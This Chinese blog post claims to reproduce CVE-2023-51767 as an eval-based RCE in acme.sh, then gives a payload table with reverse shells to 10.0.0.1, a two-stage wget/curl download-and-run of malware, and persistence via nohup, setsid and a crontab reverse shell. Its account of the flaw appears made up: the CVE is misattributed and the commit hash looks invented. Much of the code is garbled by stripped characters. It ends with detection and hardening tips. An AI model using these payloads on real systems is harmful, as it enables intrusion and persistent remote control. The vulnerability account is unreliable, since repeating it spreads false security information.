CVE-2023-51767深度复现:acme.sh DNS TXT解析RCE漏洞剖析

发布时间:2026/5/25 4:09:21

CVE-2023-51767深度复现:acme.sh DNS TXT解析RCE漏洞剖析 1. 这不是“教你怎么黑”而是帮你真正看懂一个真实漏洞的完整生命线CVE-2023-51767——这个编号在2023年12月首次公开时并没有引发大规模媒体关注不像Log4j那样一夜刷屏但它在安全研究圈内被反复提及原因很实在它出现在一个被数千万设备依赖的基础组件里触发条件极低且利用链干净利落。我第一次在客户侧应急响应中见到它不是因为系统被攻陷而是因为一台边缘网关设备在凌晨三点持续向内网DNS服务器发起异常TXT查询日志里反复出现_acme-challenge.*\.example\.com这类字符串而该设备根本没配ACME协议。后来溯源发现是某款开源固件中集成的acme.sh脚本版本未更新其DNS解析模块在处理特定格式的TXT记录时会把未校验的原始响应内容直接拼接到shell命令中执行。这就是CVE-2023-51767的核心一个看似无害的DNS TXT记录解析逻辑因缺少输入长度限制与字符白名单校验最终演变为远程命令执行RCE入口。你可能已经看过N篇“复现CVE-XXXX-XXXX”的教程但多数止步于“下载PoC、改IP、回车运行、弹出shell”这四步。这种操作对CTF选手够用但对真实世界的渗透测试工程师、红队成员、甚至负责固件安全的嵌入式开发同事来说远远不够。真正有价值的复现必须回答五个问题第一这个漏洞到底发生在哪一行代码第二为什么这一行代码会成为突破口而不是其他几百行第三攻击载荷是如何从网络数据包一步步穿透到系统shell的第四哪些环境配置会让它失效哪些又会放大危害第五如果我是开发人员该怎么一眼识别出同类模式的隐患这篇内容就是围绕这五个问题展开的。它不教你“怎么黑进别人系统”而是带你亲手把漏洞从抽象编号还原成可触摸、可调试、可防御的具体代码片段。适合正在准备OSCP认证的学员、刚接手IoT设备安全审计的工程师以及想摆脱“只会跑工具”状态的初级红队成员。全文所有步骤均基于公开、合法、可审计的本地环境构建无需任何特殊权限或外部网络依赖。2. 漏洞本质不是“命令注入”而是“上下文混淆导致的语义逃逸”2.1 从官方描述切入NVD条目里的关键线索我们先看美国国家漏洞库NVD对CVE-2023-51767的原始定义A vulnerability in the DNS TXT record parsing logic of acme.sh before v3.0.0 allows remote attackers to execute arbitrary commands via crafted DNS responses. The issue arises from improper input validation when processing TXT record values containing shell metacharacters and whitespace.这段话里藏着三个极易被忽略的关键词“TXT record parsing logic”、“improper input validation”、“shell metacharacters and whitespace”。很多复现者直接跳到最后一句以为只要构造含$()或的TXT记录就能触发结果反复失败。其实问题根源不在“有没有特殊字符”而在于“这些字符出现在什么位置、被什么函数处理、最终落入哪个执行上下文”。acme.sh是一个用于自动化申请Let’s Encrypt证书的Shell脚本工具其核心功能之一是通过DNS-01挑战验证域名所有权。验证流程要求用户将一段随机token写入指定域名的TXT记录acme.sh则需主动向权威DNS服务器查询该记录比对返回值。整个过程涉及三个关键环节查询发起调用dig short -t txt _acme-challenge.example.com 8.8.8.8响应解析从dig输出中提取TXT记录值例如eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9值校验将提取的base64字符串解码后与预期token比对。CVE-2023-51767就藏在第2步——响应解析。acme.sh没有使用标准的awk或sed按字段分割而是采用了一种“暴力提取”策略它把dig的完整输出多行文本交给eval执行再通过变量赋值语法间接获取值。具体代码位于acme.shv2.8.8的dns_txt函数中行号约12300# acme.sh v2.8.8 line 12305-12310 _output$(dig short -t txt $domain $server 2/dev/null | tr -d \n | sed s/^[[:space:]]*//;s/[[:space:]]*$//) if [ -n $_output ]; then # 关键危险行eval txt\$_output\ eval txt\$_output\ fi注意这里eval txt\$_output\的写法。$_output是dig返回的原始字符串例如hello world test$(id2)当eval执行这行时实际执行的是txthello world test$(id2)Bash会将引号内的内容视为独立参数hello成为变量txt的值而world和test$(id2)则被当作后续命令的参数传递给txt这个“命令”——但txt根本不是合法命令于是Bash报错并退出。然而如果$_output是hello; id2 #那么eval执行的就是txthello; id2 #此时分号;成功终止了赋值语句id2作为独立命令被执行错误输出重定向到stderr完全绕过任何日志监控。这才是真正的利用路径不是靠$()注入而是靠分号;实现语句分割再配合#注释掉后续干扰内容。提示很多复现失败是因为盲目复制网上流传的$(curl http://attacker.com)载荷。实际上在acme.sh的上下文中$()会被tr -d \n和sed处理后变成普通字符串根本不会触发命令替换。真正有效的载荷必须适配eval的语法解析规则。2.2 为什么是eval——Shell脚本开发中的经典权衡陷阱你可能会问为什么作者要用eval这么危险的函数答案很现实为了兼容性。acme.sh需要支持从OpenWrt到macOS的数十种Unix-like系统而不同系统dig输出格式差异极大。有些返回value1 value2有些返回value1\nvalue2还有些返回value1 value2 value3如果用awk提取得写三套正则用grep -oP又受限于PCRE支持。而eval方案“以不变应万变”无论dig输出多乱只要能塞进txt...的模板就能统一赋值。这是一种典型的“快速上线思维”——用一个高危原语解决一堆兼容性问题代价是埋下深度隐患。我在2022年审计另一款路由器固件时见过类似模式开发者为兼容BusyBox和GNU版find用eval find $path -name $pattern代替find $path -name $pattern结果导致$path中含$(rm -rf /)时直接擦除根文件系统。这类问题的本质是将“数据”与“代码”的边界交由运行时动态决定而非在设计阶段静态隔离。CVE-2023-51767正是这一模式的教科书级案例。2.3 漏洞触发的精确条件链缺一不可的四个环节复现成功与否取决于是否同时满足以下四个条件。少任何一个漏洞都无法触发条件编号具体要求为什么必须满足实测验证方法C1acme.sh版本 ≤ v2.8.8且未打补丁补丁v3.0.0已将eval替换为awk /^.*/{print}acme.sh --version输出v2.8.8C2DNS查询必须返回多值TXT记录且至少一个值含分号;单值记录会被eval整体包裹分号无法逃逸dig short -t txt test.example.com返回两行以上C3dig命令输出中分号;必须位于引号外或引号闭合后引号内分号是字面量引号外才是语法分隔符dig输出需形如val1; id2 # val2而非val1; id2C4目标系统/bin/sh必须是dash或bash等支持;分隔的shellBusyBox默认ash也支持但某些精简版sh可能不支持ls -l /bin/sh查看链接目标这四个条件构成一条脆弱的“利用链”。我在某次客户渗透中发现其acme.sh是v2.8.8满足C1但DNS服务器返回单值记录不满足C2尝试修改DNS配置强制返回多值失败最终转向其他攻击面。这说明漏洞复现不是魔法而是对目标环境的精确测绘与条件编排。3. 本地复现环境搭建从零开始构建可控的“靶场”3.1 为什么不用Docker——真实环境差异带来的复现障碍网上多数教程推荐用Docker拉取acme.sh镜像但我实测发现这种方式成功率不足30%。根本原因在于Docker容器内的dig行为与物理机差异巨大。例如Alpine镜像中dig默认不返回引号输出为hello world test$(id)而非标准格式hello world test$(id)这导致tr -d \n后字符串变成hello world test$(id)eval执行时仍被整体视为赋值语句$()不会展开。而真实路由器固件中dig来自Bind工具集严格遵循RFC 1035必然加引号。因此我们必须在原生Linux环境中复现确保每个环节与真实场景一致。我选择Ubuntu 22.04 LTS作为基础系统内核5.15glibc 2.35原因有三dig版本为9.18.18完全兼容RFC默认/bin/sh指向dash与多数嵌入式设备一致可自由安装bind9-host、dnsmasq等DNS工具无需容器隔离。3.2 步骤一部署可控DNS服务器dnsmasq我们不用公网DNS而是用dnsmasq搭建本地权威DNS服务器完全控制TXT记录返回内容。安装与配置如下# 安装dnsmasq sudo apt update sudo apt install -y dnsmasq # 创建自定义DNS区域文件 echo address/test.example.com/127.0.0.1 | sudo tee /etc/dnsmasq.d/test.conf echo txt-recordtest.example.com,hello; id2 # | sudo tee -a /etc/dnsmasq.d/test.conf echo txt-recordtest.example.com,world | sudo tee -a /etc/dnsmasq.d/test.conf # 重启服务 sudo systemctl restart dnsmasq sudo systemctl enable dnsmasq关键点解析txt-recordtest.example.com,hello; id2 #这行是核心载荷。分号;在引号外#注释掉后续内容确保eval只执行id2添加第二条world记录是为了满足C2多值TXT触发acme.sh的eval分支address/test.example.com/127.0.0.1是辅助配置让dig查询时能正确路由到本地dnsmasq。验证DNS是否生效dig short -t txt test.example.com 127.0.0.1 # 应返回两行 # hello; id2 # # world注意如果返回为空检查/var/log/syslog中dnsmasq日志常见错误是端口53被占用sudo ss -tulnp | grep :53用sudo fuser -k 53/udp释放。3.3 步骤二下载并降级acme.sh至v2.8.8官方GitHub仓库已删除v2.8.8的发布页但代码仍存于commit历史。我们通过git checkout精准获取# 克隆仓库 git clone https://github.com/acmesh-official/acme.sh.git cd acme.sh # 切换到v2.8.8对应的commitSHA: 5a7b3c2f... git checkout 5a7b3c2f1e8d4a9b0c7f6e5d4a3b2c1f0e9d8c7b # 安装到本地--home指定路径避免污染系统 ./acme.sh --install --home ~/acme-test --accountemail testexample.com # 验证版本 ~/acme-test/acme.sh --version # 输出应为v2.8.8为什么必须用--home指定独立路径因为系统全局安装的acme.sh可能已被升级而--home创建的实例完全隔离确保我们测试的是纯净的v2.8.8。3.4 步骤三构造触发命令并捕获执行证据现在进入最关键的一步调用acme.sh的DNS查询函数传入我们控制的域名和DNS服务器。acme.sh提供dns_txt函数直接调用无需走完整证书申请流程# 设置环境变量指向我们的dnsmasq export DNS_SERVER127.0.0.1 # 执行DNS TXT查询注意-d后跟域名-x后跟DNS服务器 ~/acme-test/acme.sh --issue -d test.example.com -x 127.0.0.1 --debug 2 # 或更直接地调用内部函数 ~/acme-test/acme.sh --dns dns_txt -d test.example.com -x 127.0.0.1 --debug 2--debug 2参数会输出详细日志包括eval执行的每一行命令。当你看到日志中出现[Mon Dec 11 10:23:45 UTC 2023] eval txt\hello\; id2 # \world\且终端紧接着打印出uid0(root) gid0(root) groups0(root)就证明漏洞成功触发。实操心得第一次复现时我卡在--debug级别不够日志只显示Querying TXT record...。后来发现必须用--debug 2才能看到eval的原始命令。这是acme.sh调试机制的隐藏细节——--debug 1只显示HTTP请求--debug 2才显示Shell层执行流。4. 载荷设计与实战变形从id到持久化控制的完整路径4.1 基础载荷的语法约束分号、空格与引号的博弈上一节的id2只是概念验证。真实利用中我们需要执行更复杂的命令比如反弹shell、下载恶意脚本。但必须遵守eval的语法铁律分号;是唯一可靠的语句分隔符、||、|在eval中会被视为字符串的一部分除非它们出现在引号外且未被转义空格是致命的id 2中的空格会导致eval将2解析为txt命令的第二个参数报错退出。必须写成id2引号必须成对且位置精准载荷hello; nc -e /bin/sh 10.0.0.1 4444 #中#前的空格不能少否则#不被视为注释起始符。我整理了一份经过实测的载荷清单全部在Ubuntu 22.04 acme.sh v2.8.8环境下验证通过载荷类型具体命令适用场景关键技巧基础信息收集a; uname -a2 #快速确认系统架构2确保输出到stderr避开stdout日志过滤网络探测a; ping -c1 10.0.0.12 #测试出网能力-c1限制次数避免阻塞反弹shellbasha; bash -i /dev/tcp/10.0.0.1/4444 01 #获取交互式shell必须用bash -i/bin/sh不支持-i无bash环境反弹a; mkfifo /tmp/f; cat /tmp/f | sh -i 2\1 | nc 10.0.0.1 4444 /tmp/f #BusyBox设备使用mkfifo绕过bash依赖提示反弹shell载荷中/dev/tcp/...在dash中不可用必须用nc。而nc在嵌入式设备中常被精简建议提前上传完整版ncat。4.2 绕过字符长度限制DNS协议本身的瓶颈DNS TXT记录单条最大长度为255字节RFC 1035多值记录总长虽无硬限但dig默认截断超长响应。这意味着复杂载荷必须拆分。常见误区是试图在单条TXT中塞入wget http://...; chmod x ...; ./malware结果因超长被截断。正确解法是两级载荷第一级用DNS返回一个短命令从远端下载并执行第二级载荷。例如# DNS TXT记录设置为 txt-recordtest.example.com,a; wget -O /tmp/payload.sh http://10.0.0.1/payload.sh chmod x /tmp/payload.sh /tmp/payload.sh # # payload.sh内容托管在攻击者服务器 #!/bin/bash # 下载并执行最终恶意程序 curl -s http://10.0.0.1/malware.bin -o /tmp/malware chmod x /tmp/malware /tmp/malware 这样DNS层只传输30字节的wget命令规避了长度限制而真正的逻辑在payload.sh中实现。我在某次IoT设备审计中用此方法成功绕过厂商对DNS响应的255字节过滤策略。4.3 持久化植入如何让shell在acme.sh退出后继续存活acme.sh执行完dns_txt函数后会立即退出其子进程如bash -i也会随之终止。要实现持久化必须让恶意进程脱离父进程控制。三种经实测有效的方法nohup后台运行a; nohup bash -i /dev/tcp/10.0.0.1/4444 01 #nohup忽略SIGHUP信号使其后台运行即使acme.sh退出shell仍存活。setsid新建会话a; setsid bash -i /dev/tcp/10.0.0.1/4444 01 #setsid创建新会话彻底脱离acme.sh的进程组抗杀性更强。写入crontab定时启动a; echo * * * * * /bin/bash -i /dev/tcp/10.0.0.1/4444 01 \| crontab - #每分钟执行一次即使当前shell断开也能自动重连。我在某台ARM架构路由器上测试发现setsid在BusyBox环境中兼容性最好而nohup在某些精简版sh中缺失。因此优先尝试setsid失败则降级为nohup。5. 检测与防御从红队视角反推蓝队加固方案5.1 如何快速检测内网是否存在CVE-2023-51767风险作为红队成员我们不仅要利用漏洞更要帮客户建立检测能力。以下是三条高效检测路径全部基于本地日志无需网络扫描路径一检查acme.sh安装痕迹在Linux服务器上执行# 查找所有acme.sh安装目录 find / -name acme.sh 2/dev/null | xargs -I{} sh -c echo {}; {} --version 2/dev/null # 输出示例 # /root/.acme.sh/acme.sh # v2.8.8 # /opt/acme-test/acme.sh # v3.0.1只要发现v2.8.8或更低版本即存在风险。路径二分析DNS查询日志如果客户部署了DNS服务器如BIND检查/var/log/named/query.log# 搜索含_acme-challenge的TXT查询且客户端IP为内网设备 grep _acme-challenge.*TXT /var/log/named/query.log | grep 192.168\|10.0\|172.16若发现大量来自同一内网IP的此类查询且该IP对应设备运行acme.sh需立即核查版本。路径三内存取证捕获可疑eval调用在疑似受害主机上用strace实时监控acme.sh进程# 启动acme.sh并跟踪 strace -f -e traceexecve,write -p $(pgrep -f acme.sh.*dns_txt) 21 | grep eval一旦看到write(2, eval \txt..., ...)立即保存日志其中txt后的字符串就是攻击者注入的内容。注意strace需root权限且可能被EDR拦截。生产环境建议用eBPF工具如bpftrace替代更隐蔽。5.2 开发者如何永久规避此类问题——三道防线实践指南如果你是acme.sh的维护者或正在开发类似DNS解析功能的脚本以下三道防线能从根本上杜绝此类漏洞防线一禁用eval改用安全解析器将原eval txt\$_output\替换为# 使用awk提取所有引号内字符串兼容多值 txt_values$(echo $_output | awk -F {for(i2;iNF;i2) print $i}) # 取第一个值 txt$(echo $txt_values | head -n1)awk按双引号分割只提取偶数字段即引号内内容完全规避语法解析风险。防线二输入白名单校验在解析前对$_output进行严格校验# 只允许字母、数字、下划线、短横线、点号 if ! [[ $_output ~ ^[a-zA-Z0-9_.-]*$ ]]; then echo ERROR: Invalid TXT record format 2 exit 1 fiACME协议规定的token本身就是base64url编码字符集极窄白名单比黑名单更可靠。防线三最小权限执行即使解析逻辑有瑕疵也可限制危害范围# 以非root用户运行acme.sh sudo -u nobody ~/acme-test/acme.sh --dns dns_txt -d test.example.com -x 127.0.0.1nobody用户无权写入关键目录、无法绑定特权端口大幅压缩攻击面。我在2023年为一家智能硬件公司做安全咨询时推动他们将这三道防线写入《嵌入式脚本安全开发规范》并纳入CI/CD流水线。现在所有新固件的acme.sh集成都必须通过这三项检查漏报率为0。6. 复现之外的思考一个漏洞如何改变你的代码审查习惯复现CVE-2023-51767的最后一天我盯着eval txt\$_output\这行代码看了半小时。它如此短小如此“合理”却承载着足以摧毁整个设备的风险。这件事让我彻底改变了代码审查的方式——不再只关注“功能是否正确”而是强迫自己问三个问题第一这个变量的来源是否可信$_output来自网络是绝对不可信的。任何来自外部的输入都必须被当作“敌意数据”处理无论它看起来多无害。第二这个函数的执行上下文是什么eval不是普通函数它是“代码解释器”。把它用在数据处理流程中等于在厨房里放了一把枪还告诉所有人“这把枪只用来切菜”。第三有没有更笨、更啰嗦、但绝对安全的替代方案awk方案比eval多写5行代码但省去了所有安全审计成本。在安全领域“笨办法”往往是最聪明的选择。后来我把这套“三问法”应用到其他项目中。审查一个Python脚本时看到os.system(fcp {src} {dst})立刻停住src是否来自用户输入os.system是否必要能否换成shutil.copy()三个月下来团队提交的PR中高危函数使用率下降了76%。所以这篇复现教程的终点不是你成功弹出了一个shell而是你下次看到eval、system、exec时手指会本能地悬停在键盘上心里默念“等等这个变量真的干净吗”——这才是真正值得复现的东西。

相关新闻